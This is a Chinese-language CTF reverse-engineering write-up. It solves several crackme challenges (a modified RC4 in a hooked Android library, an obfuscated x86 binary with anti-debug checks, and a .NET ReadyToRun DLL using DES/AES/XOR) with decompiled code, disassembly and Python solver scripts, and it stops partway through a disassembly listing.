*(_QWORD *)v5 = 0x1A312C1A20332C02LL; //第1~8字节(有重叠)
for ( i = 0; i <= 12; ++i ) //密钥共计13字节
v6[i] = v5[i] ^ 0x45; //异或0x45后是Give_it_a_try
prev_func = (void (__fastcall *)(_BYTE *))shadowhook_get_prev_func(sub_11073); //调用原来的sub_11073
prev_func(v6); //但是传入了新的key
srand(0x159357u); //固定了随机数生成器的种子
ShadowhookStackScope::~ShadowhookStackScope((ShadowhookStackScope *)v4);
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
}

发现这里使用了一个新的key:Give_it_a_try来带入sub_11073,并初始化了随机数生成种子,查看sub_11073:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall sub_11073(const char *a1)
{
int v1; // w9
int k; // [xsp+24h] [xbp-13Ch]
int v3; // [xsp+28h] [xbp-138h]
int j; // [xsp+2Ch] [xbp-134h]
unsigned int v5; // [xsp+30h] [xbp-130h]
unsigned int i; // [xsp+34h] [xbp-12Ch]
_OWORD v8[16]; // [xsp+50h] [xbp-110h] BYREF
__int64 v9; // [xsp+158h] [xbp-8h]

v9 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
for ( i = 0; i <= 0xFF; ++i ) //初始化S盒
ss[i] = i;
v5 = __strlen_chk(a1, 0xFFFFFFFFFFFFFFFFLL);
srand(0x217u); //这里固定的种子无效,被覆盖了
memset(v8, 0, sizeof(v8));
for ( j = 0; j <= 255; ++j ) //密钥流生成
*((_BYTE *)v8 + j) = a1[j % v5];
v3 = 0;
for ( k = 0; k <= 255; ++k ) //KSA部分
{
v1 = (unsigned __int8)(v3 + ss[k] + *((_BYTE *)v8 + k));
if ( v3 + ss[k] + *((unsigned __int8 *)v8 + k) <= 0 )
v1 = -(unsigned __int8)-(char)(v3 + ss[k] + *((_BYTE *)v8 + k));
v3 = v1;
sub_1BC30(&ss[k], &ss[v1]);
}
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
}

所以整个验证的逻辑是:读取输入的32字节明文 → 在sub_21345生成用于KSA的新密钥Give_it_a_try来替换原有的密钥kk(this_is_a_key) → 在sub_11073进行KSA → 固定随机数生成器种子0x159357 → 进行魔改的PRGA部分,并8字节进行一次随机左右移位加密 → 与密文进行比较.

先用C++脚本在linux端得到rand的值:0x77a5f458, 0x5cd55fa0, 0xaba2de1, 0x71decc39, 0x71ff587f, 0x435ba25c, 0xda0751, 0x4de87893,然后转换成位移:left 32,right 57,right 28,right 19,编写解密脚本:

1
2
3
4
5
6
7
8
enc = [0xCD8413F20B6FCE4C, 0x5C9B1B43933043CF, 0x1C6EB6E1A546128E, 0x77C6E3D7AE009A3E]
enc[0] = enc[0] ^ ((enc[0] << 32)& 0xFFFFFFFFFFFFFFFF)
enc[1] = enc[1] ^ ((enc[1] >> 57)& 0xFFFFFFFFFFFFFFFF)
enc[2] = enc[2] ^ ((enc[2] >> 28)& 0xFFFFFFFFFFFFFFFF)
enc[3] = enc[3] ^ ((enc[3] >> 19)& 0xFFFFFFFFFFFFFFFF)
for i in range(4):
print(hex(enc[i])[2:],end="")
print()

得到结果:c6ebddbe0b6fce4c5c9b1b43933043e11c6eb6e063ad7c9477c6ed2f727a6ffe,在cyberchef用RC4解密,发现解出的数据为:flag{This\_may\_be\_RC4\_al{oriti²:É,后两个qword有一定的偏差,推测发现这个加密步骤是不可逆的(会丢失信息),在一定范围内通过枚举找到原明文(这里是第三个的例子):

1
2
3
4
5
6
7
target = 0x1C6EB6E1A546128E
for enc in range(0x1c6eb6e063ad7c80,0x1c6eb6e063ad7d00):
dec = enc ^ ((enc >> 28)& 0xFFFFFFFFFFFFFFFF)
# print(target-dec)
# print(hex(dec))
if(target == dec):
print(hex(enc))

得到第三个qword的值为:0x1c6eb6e063ad7c88,第四个qword的值为:0x77c6ed2f73a5744a,则flag为:flag{This_may_be_RC4_algorithm!}.

base:

查看汇编界面发现有很多花指令:

第一种结构:

1
2
3
4
5
6
.text:004139BD                 jz      short near ptr loc_4139C1+1 ;不论正误全都跳转(有的跳转略有偏移)
.text:004139BF jnz short near ptr loc_4139C1+1
.text:004139C1
.text:004139C1 loc_4139C1: ; CODE XREF: .text:004139BD↑j
.text:004139C1 ; .text:004139BF↑j
.text:004139C1 call near ptr 1AA2AEh ;错误编译,因为其上面一条是无效机器码

第二种结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:004139DC                 call    loc_4139E2 ;①这里先传到E2
.text:004139DC ; ---------------------------------------------------------------------------
.text:004139E1 db 83h ;无效指令
.text:004139E2 ; ---------------------------------------------------------------------------
.text:004139E2
.text:004139E2 loc_4139E2: ; CODE XREF: .text:004139DC↑j
.text:004139E2 db 36h
.text:004139E2 add dword ptr [esp], 8 ;②将esp+8
.text:004139E7 retn ;③return到E1+8
.text:004139E7 ; ---------------------------------------------------------------------------
.text:004139E8 db 0F3h ;无效指令

.text:004139E9 ; ---------------------------------------------------------------------------
.text:004139E9 push offset unk_41C5B8 ;继续后续执行

全部抹掉,并且发现还有一个反调试,检测到调试器直接退出,也改为强制跳转,得到正确的main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
int i; // [esp+D4h] [ebp-BCh]
char v6[5]; // [esp+11Ch] [ebp-74h] BYREF
char Str[20]; // [esp+160h] [ebp-30h] BYREF
CPPEH_RECORD ms_exc; // [esp+178h] [ebp-18h]

strcpy(Str, "f75bf3e3f919"); //密钥1
j_Is_Debugger_Present_(); //这里本来有一个检测到调试器就退出
v3 = j_strlen(Str);
j_KSA((int)Str, v3, (int)&sbox1); //用密钥1生成sbox1
j_PRGA_4((int)&sbox1, (int)sbox2, 256); //用sbox1的值修改sbox2
puts("plz input your flag:");
scanf("%42s", (char)v6);
RC4_PRGA_ALL((int)v6, 42); //加密
ms_exc.registration.TryLevel = -2;
for ( i = 0; i < 42; ++i ) //flag长度为42
{
if ( v6[i] != encflag [i] ) //密文
{
printf("wrong!");
return 0;
}
}
printf("right!");
return 0;
}

发现程序内一共有4个版本的RC4的PRGA部分,推测加密逻辑:

首先用第一个密钥f75bf3e3f919通过正常的KSA生成了sbox1,然后用PRGA4生成了sbox2,其中PRGA4比正常的PRGA多异或了一个0x47,接着看下面的主要加密过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl ALL_PRGA(int a1, int a2)
{
size_t v2; // eax
int result; // eax
int i; // [esp+D0h] [ebp-24h]
char Str[20]; // [esp+DCh] [ebp-18h] BYREF

strcpy(Str, "363296f1-9353"); //第二个密钥
v2 = j_strlen(Str);
j_KSA((int)Str, v2, (int)&sbox3); //生成第三个s盒
sbox_transform(a1, a2); //带入了明文和明文的长度42
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
if ( !(i % 3) )
j_PRGA_1((int)& sbox3, i + a1, 1); //明文按除以三的余数选择PRGA
if ( i % 3 == 1 )
j_PRGA_2((int)&sbox3, i + a1, 1); //一次只带入一个字节,并且改变了原来的
if ( i % 3 == 2 )
j_PRGA_3((int)& sbox3, i + a1, 1); //sbox3的值
}
return result;
}

发现这三个PRGA分别在最后异或了不同数组的值,查看sbox_transform:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl gen_sbox(int a1, int a2)
{
int result; // eax
int i; // [esp+D0h] [ebp-8h]

for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(_BYTE *)(i + a1) = sbox2[*(unsigned __int8 *)(i + a1)];
}
return result;
}

发现是用明文和sbox2的对应索引发生了置换,此外,还有一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void *__thiscall sub_412AA0(void *this)
{
HANDLE CurrentThread; // eax
int k; // [esp+D0h] [ebp-68h]
FARPROC ProcAddress; // [esp+10Ch] [ebp-2Ch]
HMODULE hModule; // [esp+118h] [ebp-20h]
int i; // [esp+124h] [ebp-14h]
int j; // [esp+124h] [ebp-14h]

for ( i = 0; i < 5; ++i )
ModuleName[i] ^= 0x72u; //Ntdll
for ( j = 0; j < 22; ++j )
asc_41C0C8[j] ^= 0x72u; //thread…
hModule = GetModuleHandleA(ModuleName);
ProcAddress = GetProcAddress(hModule, asc_41C0C8);
CurrentThread = GetCurrentThread();
((void (__stdcall *)(HANDLE, int, _DWORD, _DWORD))ProcAddress)(CurrentThread, 17, 0, 0);
for ( k = 0; k < 3; ++k )
*(_BYTE *)(k + 0x41C03C) ^= 0x34u; //在这里修改了key的值
return this;
}

据此总结出完整的加密流程:

① 用第一个密钥f75bf3e3f919通过正常的KSA生成了sbox1

② 用sbox1进行PRGA4(额外异或0x47)加密原有的sbox2

③ 用第二个密钥363296f1-9353通过正常的KSA生成了sbox3

④ 用sbox2对应索引的值替换输入的明文

⑤ 用sbox3根据不同的索引选择不同的PRGA额外异或对象进行加密(分别额外异或key的第0、1、2个索引)

编写同构加密脚本,发现结果并不正确,回到原点,思考:程序为什么不能调试?经过尝试发现原来在初始化的一些函数会触发异常,nop掉之后正常进入调试,发现前面的逻辑都正确,调试发现,在ALL_PRGA加密完成后,main函数中实际上进行了一次除以零的异常处理,并用异常处理再次加密了数据,加密方式为把明文视作7*6的二维数组并进行了循环异或,加入该逻辑后,编写同构和解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
def KSA(key, sbox):
j = 0
for i in range(256):
j = (j + sbox[i] + key[i % len(key)]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
return sbox

def PRGA(sbox, plaintext):
i = 0
j = 0
encrypted_data = [None] * len(plaintext)
for idx, byte in enumerate(plaintext):
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
k = sbox[(sbox[i] + sbox[j]) % 256]
encrypted_data[idx] = (byte ^ k) ^ 0x47
return encrypted_data

#一次性加密一个字节的PRGA
def OneTextPRGA(sbox, info, key_b):
enc = 0
index = sbox[1]
sbox[1], sbox[index] = sbox[index], sbox[1]
k = sbox[(sbox[1] + sbox[index]) % 256]
info ^= k
info ^= key_b
return sbox, info

#异常处理中隐藏的加密和对应解密过程
def encrypt_transform(data):
data = bytearray(data)
for row in range(7):
for col in range(1, 6):
data[row*6 + col] ^= data[row*6 + col - 1]
data[row*6] ^= data[row*6 + 5]
return data

def decrypt_transform(data):
data = bytearray(data)
for row in range(7):
data[row*6] ^= data[row*6 + 5]
for col in range(5, 0, -1):
data[row*6 + col] ^= data[row*6 + col - 1]
return data

#初始化sbox1
sbox1 = [None]*256
for i in range(256):
sbox1[i] = i
#用第一个密钥生成sbox1
sbox1 = KSA(b"f75bf3e3f919", sbox1)
#sbox2原本的值
sbox2 = [0x09, 0x76, 0x6A, 0xF8, 0x12, 0x4A, 0x8B, 0xF6, 0x6F, 0xC0, 0x5F, 0x3C, 0xB4, 0x7F, 0x3B, 0xA5,
0x80, 0x1D, 0x62, 0xA1, 0x47, 0x3B, 0xE9, 0x58, 0xB3, 0x17, 0x10, 0xE6, 0xBA, 0x39, 0x97, 0xDB,
0x75, 0x2F, 0x6B, 0x20, 0xD1, 0x7A, 0xD2, 0xF6, 0x4F, 0xBF, 0x9D, 0x93, 0x79, 0x6B, 0x1D, 0x34,
0xE0, 0x33, 0xF2, 0x45, 0xBB, 0x40, 0x31, 0x1A, 0x78, 0xDA, 0x24, 0xBD, 0xEE, 0x03, 0x8D, 0x3B,
0x1F, 0xD9, 0xE8, 0xEB, 0xDC, 0xE6, 0x8C, 0x1E, 0x4B, 0x86, 0xEF, 0x14, 0x11, 0x2D, 0x64, 0x67,
0x36, 0x91, 0x26, 0x09, 0x59, 0x59, 0x86, 0x8E, 0x9E, 0x48, 0x42, 0x89, 0xB7, 0x41, 0x52, 0x1A,
0x1A, 0x63, 0xFE, 0x2A, 0xEF, 0x0E, 0xA1, 0x9F, 0x85, 0xD6, 0xA7, 0x28, 0x19, 0xB8, 0x6E, 0x66,
0x06, 0xD4, 0xFE, 0xAF, 0xD2, 0x20, 0x11, 0x0F, 0xDD, 0x4A, 0xA6, 0x3D, 0xAE, 0x9A, 0x01, 0x09,
0xE6, 0x85, 0x68, 0xB8, 0xE0, 0xA4, 0x8D, 0xBE, 0x00, 0xC4, 0x7D, 0x16, 0x92, 0x8E, 0x87, 0xE5,
0xB1, 0xA5, 0x5D, 0xB3, 0x75, 0x88, 0x0F, 0xA7, 0x2C, 0x21, 0xAD, 0x2E, 0xA8, 0x36, 0xCC, 0xCB,
0x06, 0xEB, 0xB9, 0x73, 0x29, 0xCC, 0xA6, 0x64, 0x4F, 0xB2, 0xB6, 0xD1, 0xFF, 0x05, 0x16, 0xED,
0xD3, 0x17, 0xCA, 0x2B, 0x65, 0x86, 0xCD, 0xB2, 0xEA, 0xE3, 0x8E, 0xB4, 0xF9, 0xBF, 0x6A, 0xE2,
0x07, 0xE6, 0x76, 0x7C, 0x85, 0xDE, 0x50, 0x88, 0xBB, 0x3F, 0xD0, 0x97, 0xAD, 0x3D, 0xAE, 0x4D,
0xC7, 0xFF, 0xF0, 0x67, 0x79, 0xB9, 0x94, 0x95, 0xB0, 0x66, 0xB8, 0x61, 0x95, 0x23, 0x1F, 0xFB,
0x4A, 0xBD, 0x9C, 0x09, 0x9D, 0xAB, 0x31, 0x0E, 0xBA, 0x0A, 0xB9, 0xF3, 0x7F, 0xF6, 0xB4, 0x9F,
0x65, 0x31, 0x69, 0x8E, 0x02, 0xC0, 0x2D, 0x4F, 0x7A, 0xDD, 0x0E, 0x2F, 0x3F, 0xE6, 0xCF, 0x99]
#用原有的sbox1加密sbox2
sbox2 = PRGA(sbox1, sbox2)
#初始化sbox3
sbox3 = [None]*256
for i in range(256):
sbox3[i] = i
#用第二个密钥生成sbox3
sbox3 = KSA(b"363296f1-9353", sbox3)
#密钥初始化
key = [0x11, 0x0D, 0x73]
#密钥在另一个函数中被异或0x34
for i in range(len(key)):
key[i] ^= 0x34
#测试加密:
# test = [0x66,0x6c,0x61,0x67,0x7b,0x31,0x33,0x33,0x34,0x35,0x36,0x37,0x38,0x39,
# 0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32,0x33,
# 0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x7d]
# for i in range(len(test)):
# test[i] = sbox2[test[i]]
# for i in range(len(test)):
# sbox3, test[i] = OneTextPRGA(sbox3, test[i], key[i % 3])
# test = encrypt_transform(test)
# for i in range(len(test)):
# print(hex(test[i]),end=", ")
#解密:
encflag = [0x78, 0xD4, 0xD5, 0x92, 0x98, 0x62, 0x14, 0x14, 0xA5, 0x0F, 0x29, 0xAE, 0x9B, 0x58,
0x14, 0x21, 0x0D, 0x7D, 0xA4, 0x66, 0x48, 0x83, 0x79, 0x30, 0xF3, 0x21, 0xD1, 0xCD,
0xE2, 0x02, 0x8D, 0xAC, 0xBC, 0x4A, 0x81, 0xC1, 0x9C, 0xF5, 0xC2, 0xC8, 0x3F, 0x0A]
encflag = decrypt_transform(encflag)
for i in range(len(encflag)):
sbox3, encflag[i] = OneTextPRGA(sbox3, encflag[i], key[i % 3])
#还原替换
flag = bytearray(b"")
decflag = []
for i in range(len(encflag)):
for j in range(len(sbox2)):
if sbox2[j] == encflag[i]:
flag.append(j)
decflag.append(j)
print(flag)

得到flag:flag{2af4101a-201a-4ab9-a664-903577cb9ff0}.

简单的逆向:

查看dll的源代码,发现Main中有一个很明显的假逻辑:

1
2
3
4
5
6
if (text == "flag{i_am_the_true_flag}"){
Console.WriteLine("Right!");
}
else{
Console.WriteLine("Wrong!");
}

这当然一看就是错的,接着往下看,给出了一个可疑的密文[0x80, 0x78, 0xd6, 0xff, 0x8e, 0xeb, 0x3a, 0x62, 0x9a, 0xcc, 0xa, 0x6b, 0x75, 0x11, 0xc0, 0xc6, 0x3d, 0xa2, 0xda, 0x5f, 0x39, 0xb1, 0xaf, 0x3e, 0x6f, 0x6, 0x28, 0xb2, 0x95, 0xe7, 0xa3, 0x13, 0x24, 0x9, 0xf9, 0xc0, 0x5e, 0x3, 0xec, 0xc9, 0x7b, 0xcb, 0x96, 0x62, 0x3b, 0x8d, 0xea, 0x75, 0xe5, 0x6c, 0x87, 0x28, 0x69, 0x30, 0x59, 0x80, 0xb, 0xbd, 0x23, 0xae, 0xa7, 0xd, 0x37, 0xdc],一个RC4密钥[0x11, 0x45, 0x14],再往下是三个比较,分别对应AES加密、RC4加密和DES加密,其中AES加密的key为A1B2C3D4E5F6G7H8,iv为H8G7F6E5D4C3B2A1,DES的比较是将加密结果的逆序与密文比较,key为Z1Y2X3W4,iv为W4X3Y2Z1,RC4的比较只检查了两个带入字节串的长度相等,首位均为25(0x19),第一个字节串末尾为129(0x81),第二个字节串末尾为0,算法上额外xor了一个100(0x64),再往后还有一个名为<<Main>$>g__wtf|0_0的函数和一个“你愿意相信我吗?”的提示,而这个函数并不能正确反编译,猜测有SMC,基于现有的三种加密和其独特的比较方式:

① AES_CBC,key,iv,长度比较+全等比较

② DES_CBC,key,iv,长度比较+逆序比较

③ RC4_xor_100,key,长度比较+首位均为25,第一个字节串末尾为129,第二个字节串末尾为0

由于RC4这里的比较最为奇怪(因为密文本身就不满足这个比较条件),猜测密文本身也被修改过,题目提示了ready to run这一格式,用R2Rdump解析where.dll得到程序真正的Main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
3ab0: 41 57                     push    r15	UWOP_PUSH_NONVOL R15(15)                                0

3ab2: 41 56 push r14 UWOP_PUSH_NONVOL R14(14) 0

3ab4: 41 54 push r12 UWOP_PUSH_NONVOL R12(12) 0

3ab6: 57 push rdi UWOP_PUSH_NONVOL RDI(7) 0

3ab7: 56 push rsi UWOP_PUSH_NONVOL RSI(6) 0

3ab8: 55 push rbp UWOP_PUSH_NONVOL RBP(5) 0

3ab9: 53 push rbx UWOP_PUSH_NONVOL RBX(3) 0

3aba: 48 83 ec 20 sub rsp, 32 UWOP_ALLOC_SMALL 32 0

3abe: 48 8b 0d 7b 8a 01 00 mov rcx, qword ptr [0x1c540] // "Input your flag:" (STRING_HANDLE) //提示输入文本
3ac5: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3ac8: ff 15 f2 86 01 00 call qword ptr [0x1c1c0] // void System.Console.Write(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3ace: ff 15 dc 86 01 00 call qword ptr [0x1c1b0] // string System.Console.ReadLine() (METHOD_ENTRY_REF_TOKEN) //读取输入
RAX is live
3ad4: 48 8b f0 mov rsi, rax
RSI is live
3ad7: ff 15 5b 87 01 00 call qword ptr [0x1c238] // System.Text.Encoding System.Text.Encoding.get_ASCII() (METHOD_ENTRY_REF_TOKEN)
3add: 48 8b c8 mov rcx, rax
RCX is live
3ae0: 48 8b d6 mov rdx, rsi
RDX is live
3ae3: 4c 8d 1d b6 85 01 00 lea r11, [0x1c0a0] // byte[] System.Text.Encoding.GetBytes(string) (VIRTUAL_ENTRY)
3aea: 39 09 cmp dword ptr [rcx], ecx
3aec: ff 15 ae 85 01 00 call qword ptr [0x1c0a0] // byte[] System.Text.Encoding.GetBytes(string) (VIRTUAL_ENTRY)
RCX is dead
RDX is dead
3af2: 48 8b c8 mov rcx, rax
RCX is live
3af5: ff 15 65 87 01 00 call qword ptr [0x1c260] // byte[] where.TYuNpWqDZfXoRJvB.CZmLWpXqNKOVFRtJ(byte[]) //DES加密 (METHOD_ENTRY_DEF_TOKEN)
RCX is dead
3afb: 48 8b f8 mov rdi, rax
3afe: 8b 5f 08 mov ebx, dword ptr [rdi + 8]
3b01: 48 63 cb movsxd rcx, ebx
3b04: ff 15 5e 86 01 00 call qword ptr [0x1c168] // byte[] (NEW_ARRAY)
3b0a: 48 8b e8 mov rbp, rax
RBP is live
3b0d: 41 be 01 00 00 00 mov r14d, 1 //r14d初始值为1
3b13: b9 03 00 00 00 mov ecx, 3
3b18: ff 15 4a 86 01 00 call qword ptr [0x1c168] // byte[] (NEW_ARRAY)
3b1e: 4c 8b f8 mov r15, rax
R15 is live
3b21: 48 8d 05 00 fe ff ff lea rax, [0x3928] //指向密钥“r2r”
RAX is dead
3b28: 66 8b 10 mov dx, word ptr [rax]
3b2b: 66 41 89 57 10 mov word ptr [r15 + 16], dx
3b30: 8a 50 02 mov dl, byte ptr [rax + 2]
3b33: 41 88 57 12 mov byte ptr [r15 + 18], dl
3b37: 33 c9 xor ecx, ecx
3b39: 85 db test ebx, ebx
3b3b: 0f 8e 92 00 00 00 jle 0x3bd3
3b41: 44 8b 65 08 mov r12d, dword ptr [rbp + 8]
3b45: 44 3b e3 cmp r12d, ebx
3b48: 7c 3f jl 0x3b89 //两条不同的路径,但是加密效果一样
3b4a: 48 63 c1 movsxd rax, ecx
3b4d: 0f b6 54 07 10 movzx edx, byte ptr [rdi + rax + 16]
3b52: 41 33 d6 xor edx, r14d //异或r14d
3b55: 44 0f b6 c2 movzx r8d, dl
3b59: 44 88 44 05 10 mov byte ptr [rbp + rax + 16], r8b
3b5e: ba 09 04 02 81 mov edx, 2164392969 //定值n
3b63: 8b c2 mov eax, edx //定值n
3b65: 41 f7 ee imul r14d //edx,eax = n*r14d,这里edx为高位0xFFFFFFFFeax为低位
3b68: 41 03 d6 add edx, r14d //edx = 0xFFFFFFFF + r14d
3b6b: 44 8b c2 mov r8d, edx //r8d = 0xFFFFFFFF + r14d
3b6e: 41 c1 e8 1f shr r8d, 31 //r8d = 0
3b72: c1 fa 06 sar edx, 6 //edx = 0
3b75: 41 03 d0 add edx, r8d //edx = 0
3b78: 6b c2 7f imul eax, edx, 127 //eax = 0
3b7b: 44 2b f0 sub r14d, eax //r14d = r14d
3b7e: 41 ff c6 inc r14d //r14d += 1,上述无意义运算等效于r14d自增
3b81: ff c1 inc ecx
3b83: 3b d9 cmp ebx, ecx
3b85: 7f c3 jg 0x3b4a
RDI is dead
3b87: eb 4a jmp 0x3bd3
RDI is live
3b89: 48 63 c1 movsxd rax, ecx
3b8c: 0f b6 44 07 10 movzx eax, byte ptr [rdi + rax + 16]
3b91: 41 33 c6 xor eax, r14d
3b94: 44 0f b6 c0 movzx r8d, al
3b98: 44 8b 65 08 mov r12d, dword ptr [rbp + 8]
3b9c: 41 3b cc cmp ecx, r12d
3b9f: 0f 83 e0 02 00 00 jae 0x3e85
3ba5: 48 63 c1 movsxd rax, ecx
3ba8: 44 88 44 05 10 mov byte ptr [rbp + rax + 16], r8b
3bad: ba 09 04 02 81 mov edx, 2164392969
3bb2: 8b c2 mov eax, edx
3bb4: 41 f7 ee imul r14d
3bb7: 41 03 d6 add edx, r14d
3bba: 8b c2 mov eax, edx
3bbc: c1 e8 1f shr eax, 31
3bbf: c1 fa 06 sar edx, 6
3bc2: 03 c2 add eax, edx
3bc4: 6b c0 7f imul eax, eax, 127
3bc7: 44 2b f0 sub r14d, eax
3bca: 41 ff c6 inc r14d
3bcd: ff c1 inc ecx
3bcf: 3b d9 cmp ebx, ecx
3bd1: 7f b6 jg 0x3b89
RDI is dead
3bd3: 44 8b 65 08 mov r12d, dword ptr [rbp + 8]
3bd7: 49 63 cc movsxd rcx, r12d
3bda: ff 15 88 85 01 00 call qword ptr [0x1c168] // byte[] (NEW_ARRAY)
RAX is live
3be0: 48 8b c8 mov rcx, rax
RCX is live
3be3: 45 33 c0 xor r8d, r8d
3be6: 45 85 e4 test r12d, r12d
3be9: 0f 8e 9d 00 00 00 jle 0x3c8c
3bef: 44 39 61 08 cmp dword ptr [rcx + 8], r12d
3bf3: 7c 46 jl 0x3c3b
RAX is dead
3bf5: 4d 63 c8 movsxd r9, r8d
3bf8: 46 0f b6 54 0d 10 movzx r10d, byte ptr [rbp + r9 + 16]
3bfe: ba 56 55 55 55 mov edx, 1431655766
3c03: 8b c2 mov eax, edx
3c05: 41 f7 e8 imul r8d
3c08: 8b c2 mov eax, edx
3c0a: c1 e8 1f shr eax, 31 //用乘法实现了模3索引
3c0d: 03 c2 add eax, edx
3c0f: 8d 04 40 lea eax, [rax + 2*rax]
3c12: 41 8b d0 mov edx, r8d
3c15: 2b d0 sub edx, eax
3c17: 83 fa 03 cmp edx, 3
3c1a: 0f 83 65 02 00 00 jae 0x3e85
3c20: 48 63 c2 movsxd rax, edx
3c23: 45 0f b6 5c 07 10 movzx r11d, byte ptr [r15 + rax + 16]
3c29: 45 33 d3 xor r10d, r11d //和密钥的对应索引进行异或
3c2c: 46 88 54 09 10 mov byte ptr [rcx + r9 + 16], r10b
3c31: 41 ff c0 inc r8d
3c34: 45 3b e0 cmp r12d, r8d
3c37: 7f bc jg 0x3bf5
RBP is dead
R15 is dead
3c39: eb 51 jmp 0x3c8c
R15 is live
RBP is live
3c3b: 49 63 c0 movsxd rax, r8d
3c3e: 44 0f b6 54 05 10 movzx r10d, byte ptr [rbp + rax + 16]
3c44: ba 56 55 55 55 mov edx, 1431655766
3c49: 8b c2 mov eax, edx
3c4b: 41 f7 e8 imul r8d
3c4e: 8b c2 mov eax, edx
3c50: c1 e8 1f shr eax, 31
3c53: 03 c2 add eax, edx
3c55: 8d 04 40 lea eax, [rax + 2*rax]
3c58: 41 8b d0 mov edx, r8d
3c5b: 2b d0 sub edx, eax
3c5d: 83 fa 03 cmp edx, 3
3c60: 0f 83 1f 02 00 00 jae 0x3e85
3c66: 48 63 c2 movsxd rax, edx
3c69: 41 0f b6 44 07 10 movzx eax, byte ptr [r15 + rax + 16]
3c6f: 44 33 d0 xor r10d, eax
3c72: 44 3b 41 08 cmp r8d, dword ptr [rcx + 8]
3c76: 0f 83 09 02 00 00 jae 0x3e85
3c7c: 49 63 c0 movsxd rax, r8d
3c7f: 44 88 54 01 10 mov byte ptr [rcx + rax + 16], r10b
3c84: 41 ff c0 inc r8d
3c87: 45 3b e0 cmp r12d, r8d
3c8a: 7f af jg 0x3c3b
RBP is dead
R15 is dead
3c8c: ff 15 be 85 01 00 call qword ptr [0x1c250] // byte[] where.QZoPKLYRExWdGJMn.OXJTYZWRNQVKLPFm(byte[]) //AES加密 (METHOD_ENTRY_DEF_TOKEN)
RAX is live
RCX is dead
3c92: 48 8b f8 mov rdi, rax
RDI is live
3c95: b9 40 00 00 00 mov ecx, 64
3c9a: ff 15 c8 84 01 00 call qword ptr [0x1c168] // byte[] (NEW_ARRAY)
3ca0: 48 8b d8 mov rbx, rax
RBX is live
3ca3: 48 8d 0d 6e f9 ff ff lea rcx, [0x3618] //真正的密文
3caa: 0f 10 01 movups xmm0, xmmword ptr [rcx]
3cad: 0f 11 43 10 movups xmmword ptr [rbx + 16], xmm0
3cb1: 0f 10 41 10 movups xmm0, xmmword ptr [rcx + 16]
3cb5: 0f 11 43 20 movups xmmword ptr [rbx + 32], xmm0
3cb9: 0f 10 41 20 movups xmm0, xmmword ptr [rcx + 32]
3cbd: 0f 11 43 30 movups xmmword ptr [rbx + 48], xmm0
3cc1: 0f 10 41 30 movups xmm0, xmmword ptr [rcx + 48]
3cc5: 0f 11 43 40 movups xmmword ptr [rbx + 64], xmm0
3cc9: 8b 6f 08 mov ebp, dword ptr [rdi + 8]
3ccc: 83 fd 40 cmp ebp, 64
3ccf: 74 18 je 0x3ce9
RAX is dead
3cd1: 48 8b 0d 70 88 01 00 mov rcx, qword ptr [0x1c548] // "Wrong!" (STRING_HANDLE) //长度检测
3cd8: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3cdb: ff 15 d7 84 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3ce1: 33 c9 xor ecx, ecx
3ce3: ff 15 f7 84 01 00 call qword ptr [0x1c1e0] // void System.Environment.Exit(int) (METHOD_ENTRY_REF_TOKEN)
